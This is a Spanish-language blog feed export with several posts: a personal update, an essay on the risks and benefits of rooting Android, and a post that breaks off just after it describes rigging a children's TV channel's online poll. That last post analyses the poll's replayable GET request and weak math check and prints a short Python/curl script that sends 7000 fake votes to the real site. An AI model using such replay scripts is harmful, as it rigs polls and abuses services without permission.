&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/3253999484122694310/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2014/04/extraer-datos-de-un-archivomdb-access.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/3253999484122694310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/3253999484122694310'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2014/04/extraer-datos-de-un-archivomdb-access.html' title='Extraer datos de un archivo.mdb (Access) con python'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-7627712530814042242</id><published>2013-05-20T09:20:00.001-07:00</published><updated>2013-05-20T09:20:52.536-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cambiando las reglas"/><title type='text'>Cambios</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Antes que nada debo agradecer a aquellos amigos que siempre se han mantenido al tanto de mis publicaciones, en especial a mi siempre querida amiga y lectora Surpa.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
El motivo del cambio de nombre y descripción del blog obedecen a una serie de cambios que han tenido lugar en mi vida, en este tiempo la vida me dio un par de reveses y estuve lejos no sólo del blog, sino también de conferencias, talleres y otros eventos; por tal motivo y luego de más de un año de luto, he decidido que es un momento de cambio, no se que deparé el futuro, pero los cambios se harán visibles, con este post cierro un capítulo importante de mi vida y comienzo con uno nuevo.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Definir cuáles serán los cambios me es difícil de precisar, sin embargo se que vendrán, porque ya me han estado alcanzando, así que sin más, les agradezco el haberme seguido hasta ahora y espero que &amp;nbsp;su paciencia les alcance para lo que viene.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
SaluDoS!!!!&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/7627712530814042242/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2013/05/cambios.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/7627712530814042242'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/7627712530814042242'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2013/05/cambios.html' title='Cambios'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-7968982656481218967</id><published>2013-05-20T08:41:00.000-07:00</published><updated>2013-05-20T08:51:51.498-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="localizar particiones de Android"/><category scheme="http://www.blogger.com/atom/ns#" term="root"/><category scheme="http://www.blogger.com/atom/ns#" term="root android"/><category scheme="http://www.blogger.com/atom/ns#" term="rooteando"/><title type='text'>Android: root or not root, this is the question...</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
La idea de esté post surge de una pregunta que me hizo un camarada, agregaré las lineas recibidas en pos de &amp;nbsp; que conozcan mejor los detalles:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;- 22:55 Que beneficios tiene rootear tu telefono?&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;- 22:55 Es para convencer a una amiga!!!!&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Debo reconocer que mi respuesta fue bastante hostil (razón por la que la pondré hasta el final), sin embargo luego de pensarlo un rato, caí en cuenta que, hay muchas personas que puedan tener está duda, más allá de querer convencer a alguien; así que antes de continuar: &quot;No intenten evangelizar, si no conocen ni siquiera el evangelio.&quot;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Siguiendo la frase de arriba, yo no estoy intentando convencer a nadie de rootear su dispositivo con Android, tampoco intento convencer a nadie de usar Android, Google no me paga un sólo peso por cada persona que use Android bajo mi recomendación, por lo que, &quot;no caeré en debates bobos sobre que SO es mejor, simplemente no me importa si piensan que iOS o Windows Mobile es mejor&quot;. No soy fanboy de GNU/Linux ni de Android y el hecho de que los prefiera es cuestión personal.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX-fXz_Qp5gnVOndqBEWhYICBP8rHNCXUKx8uoIlDGiEPBFzVaFGbHHNMQHWr2rTF2PdXkKm4ol92Psknq9ivf8fsqbsuSj24AiNnpu0ZITN0KA4iUxgYJmFFXKCAwB9YqXlllW7YXjw/s1600/curso_android_thumb.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;242&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX-fXz_Qp5gnVOndqBEWhYICBP8rHNCXUKx8uoIlDGiEPBFzVaFGbHHNMQHWr2rTF2PdXkKm4ol92Psknq9ivf8fsqbsuSj24AiNnpu0ZITN0KA4iUxgYJmFFXKCAwB9YqXlllW7YXjw/s320/curso_android_thumb.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
Qué es rootear?&lt;/h3&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Vale, usaré la Wikipedia para dar un poco de claridad al asunto primero el concepto de &lt;a href=&quot;http://es.wikipedia.org/wiki/Root&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;root&lt;/a&gt;:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i&gt;En sistemas operativos del tipo Unix, &lt;b&gt;root&lt;/b&gt; es el nombre convencional de la cuenta de &lt;u&gt;usuario que posee todos los derechos en todos los modos &lt;/u&gt;(mono o multi usuario). root es &lt;u&gt;también llamado superusuario&lt;/u&gt;. Normalmente esta es la cuenta de administrador. El usuario root&lt;u&gt; puede hacer muchas&lt;/u&gt; cosas que un usuario común no puede,&lt;u&gt; tales como cambiar el dueño o permisos de archivos y enlazar a puertos de numeración pequeña&lt;/u&gt;.&lt;span style=&quot;background-color: #6fa8dc;&quot;&gt; No es recomendable utilizar el usuario root para una simple sesión de uso habitual, ya que pone en riesgo el sistema al garantizar acceso privilegiado a cada programa en ejecución.&lt;/span&gt; &lt;span style=&quot;background-color: #b4a7d6;&quot;&gt;Es preferible&lt;/span&gt; utilizar una cuenta de usuario normal y &lt;span style=&quot;background-color: #b4a7d6;&quot;&gt;utilizar el comando su para acceder a los privilegios de root en caso de ser necesario.&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ya con la definición podemos entender algunas cosas sobre ¿qué es? (subrayado), los peligros que puede implicar usar el usuario root (resalte en azul) y las recomendaciones en caso de ser necesario su uso (resalte morado). En esta definición también hay un concepto fundamental y nos advierte que no se recomienda para &lt;b&gt;&quot;una simple sesión de uso habitual&quot;&lt;/b&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Como tal el termino rootear no existe al día de hoy en la RAE, pero se entiende como: &quot;el método mediante el cual se consigue la cuenta de superusuario en un sistema tipo Unix.&quot;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
Mucho ruido y poco Android&lt;/h3&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Quizá muchos no lo sepan, pero, los SO Android tienen un kernel GNU/Linux (descendiente&amp;nbsp;de Unix), así que de ahí viene el que muchos intenten conseguir la cuenta de root en estos dispositivos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Seguramente muchos estarán pensando, ¿pero que no dicen que Android es más flexible?, ¿por qué no me dan una cuenta con todos los permisos como en Windows?, ¿quién decidió que me tienen que limitar?, bla-bla-bla...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Android es más flexible en cuanto a la instalación de aplicaciones se refiere, que quiero decir con esto?, que pueden instalar aplicaciones sin tener que conectarse directamente a la PlayStore, es decir pueden instalar lo que les venga en gana aunque no este firmado o no sea compatible con su dispositivo; en cierto modo esto ya es similar a una cuenta de Windows, porque incluso cuando cada aplicación al instalarse advierte los permisos que va a usar y siguen con la maldita costumbre de dar en &quot;Siguiente&quot;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsgMwst9j950_TuGZckBhmlqYtzGgv0PyuxBD6YLBdJG0rj7EVTMb34q1YybK41l4DSGdx2d6FA2rZw3LQgEcBHZbIgdUALJph7k4j-23MK_DWdDRS9CmZMcI_WnbYcBS-ecPLoOpG2Q/s1600/Droid-Question.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsgMwst9j950_TuGZckBhmlqYtzGgv0PyuxBD6YLBdJG0rj7EVTMb34q1YybK41l4DSGdx2d6FA2rZw3LQgEcBHZbIgdUALJph7k4j-23MK_DWdDRS9CmZMcI_WnbYcBS-ecPLoOpG2Q/s200/Droid-Question.jpg&quot; width=&quot;140&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Entonces, si puedo instalar libremente aplicaciones desde donde me venga en gana, para que sirve ser root?, &amp;nbsp;no pienso explicar a fondo como funcionan los SO Android, sin embargo para aclarar un poco este punto usaré una imagen de como está compuesto:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH6aeqYBAx1i33jHs8xTcjtV8-kfnDYujthgsEbo6Jdewonz5ax3LSbMV7afhawn3TUxTSj0VThAH5dQzdVdIlGC4oGkhX-PgQI4A2ug7I-estqeKKjyrUvFDqm74auTAT5eU0W6kcmA/s1600/system-architecture.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;286&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH6aeqYBAx1i33jHs8xTcjtV8-kfnDYujthgsEbo6Jdewonz5ax3LSbMV7afhawn3TUxTSj0VThAH5dQzdVdIlGC4oGkhX-PgQI4A2ug7I-estqeKKjyrUvFDqm74auTAT5eU0W6kcmA/s400/system-architecture.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Al instalar una aplicación, dependiendo del propósito de la misma y los permisos solicitados a nosotros durante la instalación, solo puede acceder a las capas azules, con el usuario root se puede acceder a todo (literalmente) en la capa más baja (color rojo) vemos que está toda la parte del hardware de nuestro dispositivo, es decir, siendo root podemos ajustar la frecuencia del reloj del procesador (&lt;a href=&quot;http://es.wikipedia.org/wiki/Overclock&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;overclock&lt;/a&gt;), &amp;nbsp;instalar drivers específicos, instalar otras ROMs (versiones de Android modificadas), acceder a las carpetas y bases de datos de todas las aplicaciones, modificar archivos de sistema tales como &quot;/etc/hosts&quot; para evitar que las aplicaciones salgan a internet y consuman ancho de banda, eliminar contenido inútil como aplicaciones de Telcel, etc.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
Porqué no rootear entonces?&lt;/h3&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Principalmente porque pueden perder la garantía de su equipo, debido a que la mayoría de las compañías&amp;nbsp;telefónicas&amp;nbsp;advierten sobre esto.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Pueden dañar su equipo, aunque esto atenta contra mis principios de investigador, debo reconocer que muchos no tienen idea del verdadero poder de su usuario root y andan a ciegas intentando conseguir un mejor rendimiento de sus dispositivos, lo que normalmente termina en convertir su hermoso y costoso dispositivo en un hermoso y costoso pisapapeles.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Pueden obtener su información más&amp;nbsp;fácilmente, supongamos que tienen rooteado su dispositivo y tontamente e lo prestan a un &amp;nbsp;tipo curioso como yo, es casi seguro que accederé a la base de datos de sus aplicaciones como facebook y twitter para ver si las puedo clonar; pero también existe el riesgo de que se lo presten a una persona que no tenga idea y termine borrando archivos de sistema en pos de buscar un juego o buscar su pornografía.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;h3&gt;
Ya soy root, q&lt;b&gt;ué no debo hacer?&lt;/b&gt;&lt;/h3&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Prestar su dispositivo, en caso de ser necesario limiten.&lt;/li&gt;
&lt;li&gt;No conceder permisos permanentes a una aplicación que solicite ejecutarse como root.&lt;/li&gt;
&lt;li&gt;No hacer una copia de seguridad.&lt;/li&gt;
&lt;li&gt;Jugar a ajustar la frecuencia del procesador sin antes haber leído y entendido sobre overcloking, además de leer la documentación concreta de su equipo.&lt;/li&gt;
&lt;li&gt;Eliminar aplicaciones sin ton ni son, aunque en ocasiones hay mucho contenido basura preinstalado, antes de proceder a eliminarlo, verifiquen que realmente no sea necesario.&lt;/li&gt;
&lt;li&gt;Eliminar archivos que no conozcan, si se encuentran con un archivo que les parezca obsoleto, revisen los permisos que tiene, por regla general, no toquen nada que esté en [/system, /etc, /bin] a menos que realmente sepan para que sirve.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;
Conclusión?&lt;/h3&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La&amp;nbsp;decisión&amp;nbsp;finalmente es suya, yo he rooteado muchos dispositivos e incluso los he convertido en hermosos pisapapeles por usar&amp;nbsp;métodos&amp;nbsp;experimentales para rootear, sin embargo hasta ahora me he salido con la mía y siempre he conseguido hacer válida la garantía argumentando que sólo cargué actualizaciones, pero eso ha sido porque no he dañado el hardware, otra alternativa es realizar una copia completa de todo al momento de rootear y en caso de que haga falta restaurar todo desde modo Recovery o flash. Aunque no todos lo consiguen y terminan con ganas de mentarme la madre. La idea de este post fue solamente informar de algunos de los beneficios que pueden obtener al rootear, pero como diría Ben Parker &quot;todo gran poder conlleva una gran responsabilidad&quot;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
SaluDoS!!&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;P.D.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Dejo la respuesta que le dí a mi camarada:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: #93c47d;&quot;&gt;23:02 -no entiendo we, de qué la quieres convencer, de rootear?, si no tiene idea, entonces no vale la pena que lo haga porque es una usuaria estándar; de c...r, búscate un mejor argumento...&lt;/span&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/7968982656481218967/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2013/05/android-root-or-not-root-this-is.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/7968982656481218967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/7968982656481218967'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2013/05/android-root-or-not-root-this-is.html' title='Android: root or not root, this is the question...'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX-fXz_Qp5gnVOndqBEWhYICBP8rHNCXUKx8uoIlDGiEPBFzVaFGbHHNMQHWr2rTF2PdXkKm4ol92Psknq9ivf8fsqbsuSj24AiNnpu0ZITN0KA4iUxgYJmFFXKCAwB9YqXlllW7YXjw/s72-c/curso_android_thumb.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-3679922501223814850</id><published>2013-04-26T17:39:00.000-07:00</published><updated>2015-05-28T09:24:42.308-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bots"/><category scheme="http://www.blogger.com/atom/ns#" term="encuestas de tv"/><category scheme="http://www.blogger.com/atom/ns#" term="once-tv"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><title type='text'>La guerra de los bots</title><content type='html'>&lt;h3&gt;
Antecedentes&lt;/h3&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Durante todo el mes de Abril, en canal &lt;a href=&quot;http://www.oncetv-ipn.net/onceninos/home.php&quot; target=&quot;_blank&quot;&gt;once&lt;/a&gt;, se hicieron una serie de encuestas para escoger un programa del cual transmitirían un&amp;nbsp;maratón&amp;nbsp;los días viernes, mi primera incursión en esto fue para demostrar una teoría (bastante&amp;nbsp;cínica, debo reconocer) respecto a la tendencia de la gente de sumarse a la opinión de los demás, en la primera semana competían un programa que ya se venía transmitiendo en ese canal &quot;Exploradores de la Historia&quot; contra un programa que&amp;nbsp;recién&amp;nbsp;había comenzado a transmitirse llamado &quot;Walter y Tandoori&quot;; desde luego el nuevo programa no contaba con el respaldo de nadie, pues se conocía poco, por lo que la encuesta estaba inclinada por más de 1000 votos a favor de &quot;Exploradores de la Historia&quot; (como dice el dicho, más vale malo conocido, que bueno por conocer...); así que dí mi voto por el nuevo programa, con el fin de analizar cómo funcionaba el sistema de encuestas, para lo cual use un plugin de firefox llamado &quot;Live HTTP Headers&quot;. Lo primero que me salto, fue un &quot;sistema&quot; que prevenía el uso de bots y me pedía poner el resultado de la suma de dos números, pero como es un canal para niños los números no eran mayores a 10 jeje.&lt;/div&gt;
&lt;br /&gt;
El resultado obtenido mediante &quot;Live HTTP Headers&quot;:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;http://www.oncetv-ipn.net/onceninos/vota/&lt;span style=&quot;color: magenta;&quot;&gt;votar_3.php&lt;/span&gt;?&lt;span style=&quot;color: blue;&quot;&gt;answer=v2&amp;amp;pregunta=18&amp;amp;n1=5&amp;amp;n2=4&amp;amp;S=9&amp;amp;suma=9&amp;amp;submit=+++++votar+++++&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;GET&lt;/span&gt; /onceninos/vota/votar_3.php?answer=v2&amp;amp;pregunta=18&amp;amp;n1=5&amp;amp;n2=4&amp;amp;S=9&amp;amp;suma=9&amp;amp;submit=+++++votar+++++ HTTP/1.1&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Host:&lt;/span&gt; www.oncetv-ipn.net&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;User-Agent:&lt;/span&gt; Mozilla/5.0 (Windows NT 5.1)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Cookie:&lt;/span&gt; blablabla&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Connection:&lt;/span&gt; keep-alive&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Vale aclarando un poco todo ese rollo, en azul la palabra GET indica el método usado por nuestro querido protocolo HTTP, en rojo están los llamados Headers, puede que no lo sepan pero su equipo los envía todo el tiempo al servidor al que se conectan y sirven para muchas cosas diferentes, entre otras saber si nuestra sesión es válida, de donde viene nuestra petición, etc, etc.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Lo interesante de todo esto es en si mismo la consulta de la cual señale en color fiusha el script en el servidor que es mandado a llamar y en azul los&amp;nbsp;parámetros&amp;nbsp;pasados a dicho script.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ahora a analizar con detenimiento los parámetros:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;color: blue; font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;answer=v2 &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;indica por que pregunta estamos votando&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue; font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;pregunta=18 &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;el número de pregunta a la que estamos respondiendo&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue; font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;n1=5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;el primer número de la validación anti-bots (XD!!!)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue; font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;n2=4 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;el segundo número de la validación anti-bots&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue; font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;S=9 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;el resultado de la suma de los anteriores y que tuve que escribir&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue; font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;suma=9 &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;mismo número&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue; font-family: Courier New, Courier, monospace;&quot;&gt;submit=+++++votar+++++ &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;acción a realizar (o lo que es lo mismo la función dentro del script a ejecutar, seguramente el servidor quita los símbolos de &quot;+&quot;&amp;nbsp;innecesarios).&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Una vez que tuve esta información mi primer pregunta fue, ¿qué pasa si uso repito la consulta?, esto lo hice para saber si la cookie estaba siendo usada para algo en la seguridad o solo era un adorno jajajaja, bueno el resultado fue que obtuve un voto más. Acto seguido usé la misma consulta en otro navegador para terminar de comprobar que se pudiera usar y que no importaba tener o no tener cookie, así lo hice y como obtuve un voto más, me dí cuenta de que no existía nada que me impidiera reciclar la consulta previa, por lo tanto ya tenía una forma de hacer lo que me viniera en gana, ahora podía poner en práctica mi teoría...&lt;/div&gt;
&lt;br /&gt;
&lt;h3&gt;
Un poco de maldad&lt;/h3&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Como dije antes el&amp;nbsp;propósito&amp;nbsp;del experimento era ver que tan fácil era influenciar la opinión de la gente, ya explique al principio que el programa &quot;Exploradores de la Historia&quot; ganaba por más de mil votos, y el porque votaban por él, pero, ¿qué pasaría si un número suficientemente grande de &quot;personas&quot; votaran por el otro programa?, ¿más personas creerían que es tan bueno que merece la pena su voto y seguirían la tendencia?; bueno sólo había una forma de probarlo, con esto en mente y luego del análisis de como funcionaba el sistema de encuestas, decidí hacer un script que se encargará de otorgar unos 7000 votos a favor de &quot;Walter y Tandoori&quot; así el programa tendría al menos 5000 votos a favor y de acuerdo a mi teoría la gente votaría por él, pensando que era mejor que el otro (después de todo más de 5000 &quot;personas&quot; no podrían estar equivocadas jajajajaja), es posible que ya hayan imaginado en que lenguaje programe el script, jajajaja, Python mi navaja suiza personal.&lt;/div&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: python&quot;&gt;
import os
comando = &quot;curl --url \&#39;http://www.oncetv-ipn.net/onceninos/vota/votar_3.php?answer=v2&amp;amp;pregunta=18&amp;amp;n1=5&amp;amp;n2=4&amp;amp;S=9&amp;amp;suma=9&amp;amp;submit=+++++votar+++++&#39;&quot; + &quot; -o prueba&quot;
for x in range(7000):
    os.popen(comando+str(x)+&quot;.html&quot;)
os.popen(&quot;rm *.html&quot;)
print &#39;completado!!&#39;
&lt;/pre&gt;

&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
